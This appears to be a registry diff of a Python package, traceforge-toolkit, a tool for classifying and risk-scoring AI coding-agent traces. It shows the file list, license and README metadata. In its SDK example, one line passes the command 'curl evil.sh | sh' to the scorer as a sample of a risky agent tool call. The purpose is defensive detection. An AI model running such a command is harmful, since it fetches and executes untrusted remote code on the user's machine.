traceforge-toolkit 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- traceforge_toolkit-0.1.0/.gitignore +31 -0
- traceforge_toolkit-0.1.0/LICENSE +21 -0
- traceforge_toolkit-0.1.0/PKG-INFO +188 -0
- traceforge_toolkit-0.1.0/README.md +134 -0
- traceforge_toolkit-0.1.0/pyproject.toml +154 -0
- traceforge_toolkit-0.1.0/src/traceforge/__init__.py +72 -0
- traceforge_toolkit-0.1.0/src/traceforge/__main__.py +5 -0
- traceforge_toolkit-0.1.0/src/traceforge/_generated.py +254 -0
- traceforge_toolkit-0.1.0/src/traceforge/adapters/__init__.py +12 -0
- traceforge_toolkit-0.1.0/src/traceforge/adapters/base.py +82 -0
- traceforge_toolkit-0.1.0/src/traceforge/adapters/genai_otel.py +164 -0
- traceforge_toolkit-0.1.0/src/traceforge/adapters/mapped_json.py +297 -0
- traceforge_toolkit-0.1.0/src/traceforge/adapters/otel.py +220 -0
- traceforge_toolkit-0.1.0/src/traceforge/boundary/__init__.py +46 -0
- traceforge_toolkit-0.1.0/src/traceforge/boundary/data/boundary-model.joblib +0 -0
- traceforge_toolkit-0.1.0/src/traceforge/boundary/decode.py +87 -0
- traceforge_toolkit-0.1.0/src/traceforge/boundary/features.py +137 -0
- traceforge_toolkit-0.1.0/src/traceforge/boundary/inference.py +267 -0
- traceforge_toolkit-0.1.0/src/traceforge/boundary/inferencer.py +146 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/__init__.py +95 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/cmd.py +109 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/coding.py +213 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/config.py +554 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/core.py +266 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/data/binary_info.yaml +358 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/data/canonical_tools.yaml +251 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/data/effect_overrides.yaml +480 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/data/mcp_profiles.yaml +711 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/data/recommendation_rules.yaml +111 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/data/risk.yaml +534 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/data/shell_defaults.yaml +95 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/data/shell_rules.yaml +1192 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/data/tool_classifications.yaml +215 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/data/verb_inference.yaml +218 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/mcp.py +181 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/phases.py +75 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/powershell.py +93 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/registry.py +138 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/risk.py +553 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/rules.py +215 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/schema.yaml +282 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/shell.py +503 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/tools.py +91 -0
- traceforge_toolkit-0.1.0/src/traceforge/classify/workflow.py +32 -0
- traceforge_toolkit-0.1.0/src/traceforge/cli/__init__.py +42 -0
- traceforge_toolkit-0.1.0/src/traceforge/cli/config_cmd.py +130 -0
- traceforge_toolkit-0.1.0/src/traceforge/cli/detect.py +46 -0
- traceforge_toolkit-0.1.0/src/traceforge/cli/download_cmd.py +74 -0
- traceforge_toolkit-0.1.0/src/traceforge/cli/factory.py +60 -0
- traceforge_toolkit-0.1.0/src/traceforge/cli/gate_cmd.py +30 -0
- traceforge_toolkit-0.1.0/src/traceforge/cli/init_cmd.py +86 -0
- traceforge_toolkit-0.1.0/src/traceforge/cli/replay.py +130 -0
- traceforge_toolkit-0.1.0/src/traceforge/cli/runner.py +181 -0
- traceforge_toolkit-0.1.0/src/traceforge/cli/score.py +217 -0
- traceforge_toolkit-0.1.0/src/traceforge/cli/status.py +65 -0
- traceforge_toolkit-0.1.0/src/traceforge/cli/watch.py +297 -0
- traceforge_toolkit-0.1.0/src/traceforge/config/__init__.py +80 -0
- traceforge_toolkit-0.1.0/src/traceforge/config/defaults.py +149 -0
- traceforge_toolkit-0.1.0/src/traceforge/config/loader.py +239 -0
- traceforge_toolkit-0.1.0/src/traceforge/config/mappings.py +104 -0
- traceforge_toolkit-0.1.0/src/traceforge/config/models.py +579 -0
- traceforge_toolkit-0.1.0/src/traceforge/enricher.py +576 -0
- traceforge_toolkit-0.1.0/src/traceforge/formatting/__init__.py +12 -0
- traceforge_toolkit-0.1.0/src/traceforge/formatting/budget.py +92 -0
- traceforge_toolkit-0.1.0/src/traceforge/formatting/density.py +154 -0
- traceforge_toolkit-0.1.0/src/traceforge/gate/__init__.py +17 -0
- traceforge_toolkit-0.1.0/src/traceforge/gate/client.py +145 -0
- traceforge_toolkit-0.1.0/src/traceforge/gate/external.py +305 -0
- traceforge_toolkit-0.1.0/src/traceforge/gate/registry.py +108 -0
- traceforge_toolkit-0.1.0/src/traceforge/gate/server.py +174 -0
- traceforge_toolkit-0.1.0/src/traceforge/gates/__init__.py +8 -0
- traceforge_toolkit-0.1.0/src/traceforge/gates/pii.py +352 -0
- traceforge_toolkit-0.1.0/src/traceforge/gates/pii_patterns.yaml +228 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/__init__.py +121 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/assessor.py +441 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/budget.py +59 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/canonical.py +56 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/codec.py +414 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/context.py +249 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/drift.py +196 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/emitter.py +234 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/envelope.py +138 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/ifc.py +364 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/integrity.py +162 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/labeler.py +250 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/mcp_drift.py +328 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/monitor.py +539 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/observer.py +276 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/persistence.py +401 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/phase1.py +77 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/pii.py +276 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/pipeline.py +840 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/registry.py +110 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/results.py +183 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/risk_wrapper.py +113 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/rules.py +368 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/scorer.py +262 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/shield.py +318 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/state.py +466 -0
- traceforge_toolkit-0.1.0/src/traceforge/governance/types.py +176 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/__init__.py +1 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/aider.yaml +216 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/aider_markdown.yaml +113 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/amazonq.yaml +56 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/antigravity.yaml +88 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/claude.yaml +93 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/cline.yaml +286 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/codex.yaml +158 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/continue_dev.yaml +57 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/copilot.yaml +266 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/copilot_markdown.yaml +72 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/copilot_vscode.yaml +181 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/crewai.yaml +592 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/goose.yaml +128 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/langgraph.yaml +165 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/maf.yaml +90 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/maf_transcript.yaml +99 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/openai_agents.yaml +144 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/opencode.yaml +473 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/openhands.yaml +320 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/pydantic_ai.yaml +183 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/smolagents.yaml +89 -0
- traceforge_toolkit-0.1.0/src/traceforge/mappings/sweagent.yaml +82 -0
- traceforge_toolkit-0.1.0/src/traceforge/migrations/__init__.py +1 -0
- traceforge_toolkit-0.1.0/src/traceforge/migrations/env.py +60 -0
- traceforge_toolkit-0.1.0/src/traceforge/migrations/models.py +145 -0
- traceforge_toolkit-0.1.0/src/traceforge/migrations/runner.py +44 -0
- traceforge_toolkit-0.1.0/src/traceforge/migrations/script.py.mako +25 -0
- traceforge_toolkit-0.1.0/src/traceforge/migrations/versions/0001_initial.py +176 -0
- traceforge_toolkit-0.1.0/src/traceforge/migrations/versions/__init__.py +4 -0
- traceforge_toolkit-0.1.0/src/traceforge/models.py +29 -0
- traceforge_toolkit-0.1.0/src/traceforge/parsers/__init__.py +21 -0
- traceforge_toolkit-0.1.0/src/traceforge/parsers/aider.py +416 -0
- traceforge_toolkit-0.1.0/src/traceforge/parsers/base.py +226 -0
- traceforge_toolkit-0.1.0/src/traceforge/parsers/copilot.py +314 -0
- traceforge_toolkit-0.1.0/src/traceforge/phase/__init__.py +50 -0
- traceforge_toolkit-0.1.0/src/traceforge/phase/data/phase-model.joblib +0 -0
- traceforge_toolkit-0.1.0/src/traceforge/phase/data/potion-base-8M/README.md +99 -0
- traceforge_toolkit-0.1.0/src/traceforge/phase/data/potion-base-8M/config.json +13 -0
- traceforge_toolkit-0.1.0/src/traceforge/phase/data/potion-base-8M/model.safetensors +0 -0
- traceforge_toolkit-0.1.0/src/traceforge/phase/data/potion-base-8M/modules.json +14 -0
- traceforge_toolkit-0.1.0/src/traceforge/phase/data/potion-base-8M/tokenizer.json +1 -0
- traceforge_toolkit-0.1.0/src/traceforge/phase/event_rows.py +107 -0
- traceforge_toolkit-0.1.0/src/traceforge/phase/features.py +468 -0
- traceforge_toolkit-0.1.0/src/traceforge/phase/inference.py +279 -0
- traceforge_toolkit-0.1.0/src/traceforge/phase/inferencer.py +171 -0
- traceforge_toolkit-0.1.0/src/traceforge/phase/segmentation.py +258 -0
- traceforge_toolkit-0.1.0/src/traceforge/pipeline.py +891 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/__init__.py +34 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/amazonq.py +224 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/antigravity.py +116 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/claude.py +95 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/cline.py +36 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/codex.py +311 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/continue_dev.py +119 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/copilot_vscode.py +171 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/goose.py +156 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/maf_transcript.py +84 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/openai_agents.py +86 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/opencode.py +85 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/openhands.py +36 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/pydantic_ai.py +62 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/registry.py +24 -0
- traceforge_toolkit-0.1.0/src/traceforge/preprocessors/smolagents.py +90 -0
- traceforge_toolkit-0.1.0/src/traceforge/py.typed +0 -0
- traceforge_toolkit-0.1.0/src/traceforge/sdk/__init__.py +59 -0
- traceforge_toolkit-0.1.0/src/traceforge/sdk/gate_policy.py +63 -0
- traceforge_toolkit-0.1.0/src/traceforge/sdk/gate_types.py +140 -0
- traceforge_toolkit-0.1.0/src/traceforge/sdk/pipeline.py +265 -0
- traceforge_toolkit-0.1.0/src/traceforge/sdk/verdict.py +81 -0
- traceforge_toolkit-0.1.0/src/traceforge/sinks/__init__.py +23 -0
- traceforge_toolkit-0.1.0/src/traceforge/sinks/base.py +95 -0
- traceforge_toolkit-0.1.0/src/traceforge/sinks/callback.py +132 -0
- traceforge_toolkit-0.1.0/src/traceforge/sinks/console.py +112 -0
- traceforge_toolkit-0.1.0/src/traceforge/sinks/factory.py +94 -0
- traceforge_toolkit-0.1.0/src/traceforge/sinks/jsonl.py +125 -0
- traceforge_toolkit-0.1.0/src/traceforge/sinks/otel_exporter.py +212 -0
- traceforge_toolkit-0.1.0/src/traceforge/sinks/parquet.py +260 -0
- traceforge_toolkit-0.1.0/src/traceforge/sinks/s3.py +206 -0
- traceforge_toolkit-0.1.0/src/traceforge/sinks/sqlite_output.py +234 -0
- traceforge_toolkit-0.1.0/src/traceforge/sinks/webhook.py +136 -0
- traceforge_toolkit-0.1.0/src/traceforge/sources/__init__.py +18 -0
- traceforge_toolkit-0.1.0/src/traceforge/sources/auto_detect.py +173 -0
- traceforge_toolkit-0.1.0/src/traceforge/sources/base.py +45 -0
- traceforge_toolkit-0.1.0/src/traceforge/sources/file_poll.py +136 -0
- traceforge_toolkit-0.1.0/src/traceforge/sources/file_watch.py +221 -0
- traceforge_toolkit-0.1.0/src/traceforge/sources/http_poll.py +141 -0
- traceforge_toolkit-0.1.0/src/traceforge/sources/replay.py +63 -0
- traceforge_toolkit-0.1.0/src/traceforge/sources/sqlite.py +187 -0
- traceforge_toolkit-0.1.0/src/traceforge/sources/sse.py +198 -0
- traceforge_toolkit-0.1.0/src/traceforge/telemetry/__init__.py +192 -0
- traceforge_toolkit-0.1.0/src/traceforge/title/__init__.py +23 -0
- traceforge_toolkit-0.1.0/src/traceforge/title/_resolve.py +79 -0
- traceforge_toolkit-0.1.0/src/traceforge/title/context.py +295 -0
- traceforge_toolkit-0.1.0/src/traceforge/title/data/boilerplate_files.json +14 -0
- traceforge_toolkit-0.1.0/src/traceforge/title/heuristics.py +429 -0
- traceforge_toolkit-0.1.0/src/traceforge/title/hygiene.py +90 -0
- traceforge_toolkit-0.1.0/src/traceforge/title/inference.py +314 -0
- traceforge_toolkit-0.1.0/src/traceforge/title/inferencer.py +477 -0
- traceforge_toolkit-0.1.0/src/traceforge/title/naming.py +398 -0
- traceforge_toolkit-0.1.0/src/traceforge/trace.py +291 -0
- traceforge_toolkit-0.1.0/src/traceforge/tracking/__init__.py +30 -0
- traceforge_toolkit-0.1.0/src/traceforge/tracking/models.py +115 -0
- traceforge_toolkit-0.1.0/src/traceforge/tracking/phase_tracker.py +288 -0
- traceforge_toolkit-0.1.0/src/traceforge/types.py +315 -0
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
__pycache__/
|
|
2
|
+
*.pyc
|
|
3
|
+
*.egg-info/
|
|
4
|
+
dist/
|
|
5
|
+
build/
|
|
6
|
+
.pytest_cache/
|
|
7
|
+
.ruff_cache/
|
|
8
|
+
*.egg
|
|
9
|
+
.eggs/
|
|
10
|
+
.coverage
|
|
11
|
+
research/labeling-run.log
|
|
12
|
+
|
|
13
|
+
# Run artifacts from agent-trace / golden-run harnesses
|
|
14
|
+
*.log
|
|
15
|
+
*.pid
|
|
16
|
+
*.err
|
|
17
|
+
|
|
18
|
+
# agent-trace harness run artifacts
|
|
19
|
+
*.log
|
|
20
|
+
*.log.err
|
|
21
|
+
*.err
|
|
22
|
+
*.pid
|
|
23
|
+
run-golden*.ps1
|
|
24
|
+
agent-targets.txt
|
|
25
|
+
|
|
26
|
+
commit_msg.txt
|
|
27
|
+
|
|
28
|
+
# Docusaurus site (website/ is an independent Node subproject)
|
|
29
|
+
website/node_modules/
|
|
30
|
+
website/build/
|
|
31
|
+
website/.docusaurus/
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 dfinson
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,188 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: traceforge-toolkit
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Framework-agnostic, CPU-only pipeline that forges AI agent traces into classified, risk-scored, governed output
|
|
5
|
+
Project-URL: Homepage, https://github.com/dfinson/traceforge
|
|
6
|
+
Project-URL: Repository, https://github.com/dfinson/traceforge
|
|
7
|
+
Project-URL: Issues, https://github.com/dfinson/traceforge/issues
|
|
8
|
+
Project-URL: Changelog, https://github.com/dfinson/traceforge/releases
|
|
9
|
+
Author-email: David Finson <davidfinson@microsoft.com>
|
|
10
|
+
License-Expression: MIT
|
|
11
|
+
License-File: LICENSE
|
|
12
|
+
Keywords: agent,ai-agents,coding-agents,governance,llm,observability,risk-scoring,tracing
|
|
13
|
+
Classifier: Development Status :: 4 - Beta
|
|
14
|
+
Classifier: Intended Audience :: Developers
|
|
15
|
+
Classifier: Operating System :: OS Independent
|
|
16
|
+
Classifier: Programming Language :: Python :: 3
|
|
17
|
+
Classifier: Programming Language :: Python :: 3 :: Only
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
20
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
21
|
+
Classifier: Topic :: Scientific/Engineering :: Artificial Intelligence
|
|
22
|
+
Classifier: Topic :: Software Development :: Quality Assurance
|
|
23
|
+
Classifier: Typing :: Typed
|
|
24
|
+
Requires-Python: <3.14,>=3.11
|
|
25
|
+
Requires-Dist: alembic>=1.13
|
|
26
|
+
Requires-Dist: click>=8.1
|
|
27
|
+
Requires-Dist: httpx>=0.25
|
|
28
|
+
Requires-Dist: joblib>=1.3
|
|
29
|
+
Requires-Dist: litellm>=1.0
|
|
30
|
+
Requires-Dist: model2vec>=0.8.2
|
|
31
|
+
Requires-Dist: numpy>=1.24
|
|
32
|
+
Requires-Dist: onnxruntime>=1.17
|
|
33
|
+
Requires-Dist: pyarrow>=15
|
|
34
|
+
Requires-Dist: pydantic>=2.0
|
|
35
|
+
Requires-Dist: pyyaml>=6.0
|
|
36
|
+
Requires-Dist: scikit-learn>=1.5
|
|
37
|
+
Requires-Dist: scipy>=1.11
|
|
38
|
+
Requires-Dist: sqlalchemy>=2.0
|
|
39
|
+
Requires-Dist: tokenizers>=0.15
|
|
40
|
+
Requires-Dist: traceforge-title-model>=0.2
|
|
41
|
+
Requires-Dist: tree-sitter-bash>=0.24
|
|
42
|
+
Requires-Dist: tree-sitter-markdown>=0.5
|
|
43
|
+
Requires-Dist: tree-sitter-powershell>=0.24
|
|
44
|
+
Requires-Dist: tree-sitter>=0.24
|
|
45
|
+
Requires-Dist: tzdata>=2024.1; platform_system == 'Windows'
|
|
46
|
+
Requires-Dist: watchdog>=4.0
|
|
47
|
+
Provides-Extra: dev
|
|
48
|
+
Requires-Dist: pytest-asyncio>=0.23; extra == 'dev'
|
|
49
|
+
Requires-Dist: pytest>=8.0; extra == 'dev'
|
|
50
|
+
Requires-Dist: ruff==0.15.20; extra == 'dev'
|
|
51
|
+
Provides-Extra: s3
|
|
52
|
+
Requires-Dist: boto3>=1.28; extra == 's3'
|
|
53
|
+
Description-Content-Type: text/markdown
|
|
54
|
+
|
|
55
|
+
<div align="center">
|
|
56
|
+
|
|
57
|
+
<img src="website/static/img/logo-full.png" alt="TraceForge" width="420" />
|
|
58
|
+
|
|
59
|
+
**Forge raw AI-agent traces into structured, classified, risk-scored, and governance-assessed output.**
|
|
60
|
+
|
|
61
|
+
[](https://github.com/dfinson/traceforge/actions/workflows/ci-lint.yml)
|
|
62
|
+
[](https://github.com/dfinson/traceforge/actions/workflows/ci-test.yml)
|
|
63
|
+
[](https://pypi.org/project/traceforge/)
|
|
64
|
+
[](https://github.com/dfinson/traceforge)
|
|
65
|
+
[](LICENSE)
|
|
66
|
+
[](https://dfinson.github.io/traceforge/)
|
|
67
|
+
|
|
68
|
+
**[📖 Read the full documentation →](https://dfinson.github.io/traceforge/)**
|
|
69
|
+
|
|
70
|
+
</div>
|
|
71
|
+
|
|
72
|
+
---
|
|
73
|
+
|
|
74
|
+
TraceForge is a framework-agnostic Python library that turns the raw session logs of
|
|
75
|
+
AI coding agents into a strongly-typed event stream, classified, risk-scored, and
|
|
76
|
+
governance-assessed in real time. Adding support for a new agent framework requires only a **YAML
|
|
77
|
+
mapping file**: no code.
|
|
78
|
+
|
|
79
|
+
<p align="center">
|
|
80
|
+
<picture>
|
|
81
|
+
<source media="(max-width: 600px)" srcset="website/static/img/pipeline-mobile.svg">
|
|
82
|
+
<img src="website/static/img/pipeline-desktop.svg" alt="TraceForge pipeline: Source, optional Parser, Adapter, Enricher, Pipeline, and one or more Sinks, with an opt-in Governance branch off the Pipeline." width="860">
|
|
83
|
+
</picture>
|
|
84
|
+
</p>
|
|
85
|
+
|
|
86
|
+
## What it does
|
|
87
|
+
|
|
88
|
+
1. **Sources** transport raw data from files, HTTP endpoints, SSE streams, SQLite databases, or replays.
|
|
89
|
+
2. **Parsers** pre-process non-structured formats (markdown logs, chunked data) into structured dicts.
|
|
90
|
+
3. **Adapters** parse raw input into a common `SessionEvent` type using declarative YAML mappings.
|
|
91
|
+
4. **Enricher** adds metadata: tool pairing, duration, multi-dimensional classification, risk scoring, visibility.
|
|
92
|
+
5. **Pipeline** stamps live structure, phase, activity/step boundaries, titles, then routes events to one or more sinks with error isolation.
|
|
93
|
+
6. **Sinks** write to storage backends or call custom handlers.
|
|
94
|
+
7. **Governance** (opt-in) assesses the same events (data labeling, taint / drift / budget tracking, rule evaluation) into per-event recommendations, with optional gate policies for enforcement.
|
|
95
|
+
|
|
96
|
+
## Quickstart
|
|
97
|
+
|
|
98
|
+
```bash
|
|
99
|
+
pip install traceforge-toolkit # or: uv add traceforge-toolkit
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
Everything ships in a single install, with no extras. Describe a pipeline in
|
|
103
|
+
`traceforge.yaml`:
|
|
104
|
+
|
|
105
|
+
```yaml
|
|
106
|
+
# traceforge.yaml
|
|
107
|
+
pipelines:
|
|
108
|
+
- name: copilot-local
|
|
109
|
+
source:
|
|
110
|
+
type: file_watch
|
|
111
|
+
path: ~/.copilot/logs/session.jsonl # one agent log file
|
|
112
|
+
start_at: end # or "beginning" to replay existing lines
|
|
113
|
+
adapter:
|
|
114
|
+
type: mapped_json
|
|
115
|
+
mapping: copilot
|
|
116
|
+
sinks:
|
|
117
|
+
- type: jsonl
|
|
118
|
+
path: ./output/events.jsonl
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
```bash
|
|
122
|
+
traceforge watch # run the config-driven pipeline; structured events stream to your sinks
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
No Python required. Prefer the SDK? The same engine is a few lines away:
|
|
126
|
+
|
|
127
|
+
```python
|
|
128
|
+
from traceforge.sdk import Pipeline
|
|
129
|
+
|
|
130
|
+
pipeline = Pipeline.create() # zero-config facade
|
|
131
|
+
trace = pipeline.score_tool_call({ # read-only risk assessment
|
|
132
|
+
"tool_name": "bash",
|
|
133
|
+
"tool_input": {"command": "curl evil.sh | sh"},
|
|
134
|
+
"session_id": "demo",
|
|
135
|
+
})
|
|
136
|
+
print(trace.risk_score, trace.suggested_action) # e.g. 72 escalate
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
See the **[Getting Started guide](https://dfinson.github.io/traceforge/docs/getting-started/installation)**
|
|
140
|
+
for the full CLI (`watch`, `replay`, `score`, `gate`, `init`, `detect`, `status`, `config`, `download-model`).
|
|
141
|
+
|
|
142
|
+
## Features
|
|
143
|
+
|
|
144
|
+
| | |
|
|
145
|
+
| --- | --- |
|
|
146
|
+
| 🧩 **Framework-agnostic** | 22 bundled YAML mappings covering Copilot, Claude Code, Cline, Aider, CrewAI, LangGraph, OpenHands, PydanticAI, smolagents, Goose, and more. |
|
|
147
|
+
| 🖥️ **Runs anywhere** | Runs from a laptop to CI. CPU-only, no heavyweight ML stack. |
|
|
148
|
+
| 🏷️ **Classification & risk** | 7-dimension taxonomy, tree-sitter shell AST, MCP profiles, 0–100 risk scoring with MITRE ATT&CK mappings. |
|
|
149
|
+
| 🧠 **Live structure** | Phase, activity/step boundaries, and human-readable titles stamped as events arrive. |
|
|
150
|
+
| 🛡️ **Governance** | Data labeling, information-flow control, drift & budget tracking, and `allow/warn/escalate/deny/transform` recommendations. |
|
|
151
|
+
| 🔌 **Pluggable sinks** | JSONL, SQLite, S3, Parquet, OpenTelemetry, webhook, console, and custom callbacks, all YAML-configurable. |
|
|
152
|
+
|
|
153
|
+
## Documentation
|
|
154
|
+
|
|
155
|
+
The complete docs live at **[dfinson.github.io/traceforge](https://dfinson.github.io/traceforge/)**:
|
|
156
|
+
|
|
157
|
+
- **[Introduction](https://dfinson.github.io/traceforge/docs/intro)**: what TraceForge is and why.
|
|
158
|
+
- **[Architecture](https://dfinson.github.io/traceforge/docs/architecture/overview)**: the pipeline stages and event model.
|
|
159
|
+
- **[Getting Started](https://dfinson.github.io/traceforge/docs/getting-started/installation)**: install, first run, and CLI reference.
|
|
160
|
+
- **[Configuration](https://dfinson.github.io/traceforge/docs/configuration)**: `TRACEFORGE_*` env vars and `traceforge.yaml`.
|
|
161
|
+
- **[Governance](https://dfinson.github.io/traceforge/docs/governance/overview)**: the monitor, the shield, and the gate.
|
|
162
|
+
- **[Reference](https://dfinson.github.io/traceforge/docs/reference/sources)**: sources, adapters, enrichment, classification, sinks, and the SDK.
|
|
163
|
+
|
|
164
|
+
The authoritative technical spec remains in [`SPEC.md`](SPEC.md).
|
|
165
|
+
|
|
166
|
+
## Design principles
|
|
167
|
+
|
|
168
|
+
- **Observation-first**: observes, enriches, and recommends by default; enforcement is strictly opt-in (a registered gate policy).
|
|
169
|
+
- **Framework-agnostic**: new framework support = new YAML file.
|
|
170
|
+
- **Defensive parsing**: malformed input is logged and skipped, never crashes.
|
|
171
|
+
- **Immutable domain objects**: events are frozen models.
|
|
172
|
+
- **Error isolation**: one failing sink cannot block others.
|
|
173
|
+
- **Data-driven**: classification, risk scoring, and MCP profiles are externalized to YAML.
|
|
174
|
+
|
|
175
|
+
## Contributing
|
|
176
|
+
|
|
177
|
+
Contributions welcome, see **[CONTRIBUTING.md](CONTRIBUTING.md)** for dev setup with `uv`, running
|
|
178
|
+
the test suite, linting with `ruff`, and how to add a new agent framework mapping.
|
|
179
|
+
|
|
180
|
+
## Status
|
|
181
|
+
|
|
182
|
+
🚧 **Under active development**: not yet published to PyPI. The pipeline is feature-complete:
|
|
183
|
+
sources, adapters, enricher, classification, risk scoring, live phase/boundary/title structuring,
|
|
184
|
+
the governance engine, all storage sinks, and the `traceforge` CLI all ship today.
|
|
185
|
+
|
|
186
|
+
## License
|
|
187
|
+
|
|
188
|
+
[MIT](LICENSE)
|
|
@@ -0,0 +1,134 @@
|
|
|
1
|
+
<div align="center">
|
|
2
|
+
|
|
3
|
+
<img src="website/static/img/logo-full.png" alt="TraceForge" width="420" />
|
|
4
|
+
|
|
5
|
+
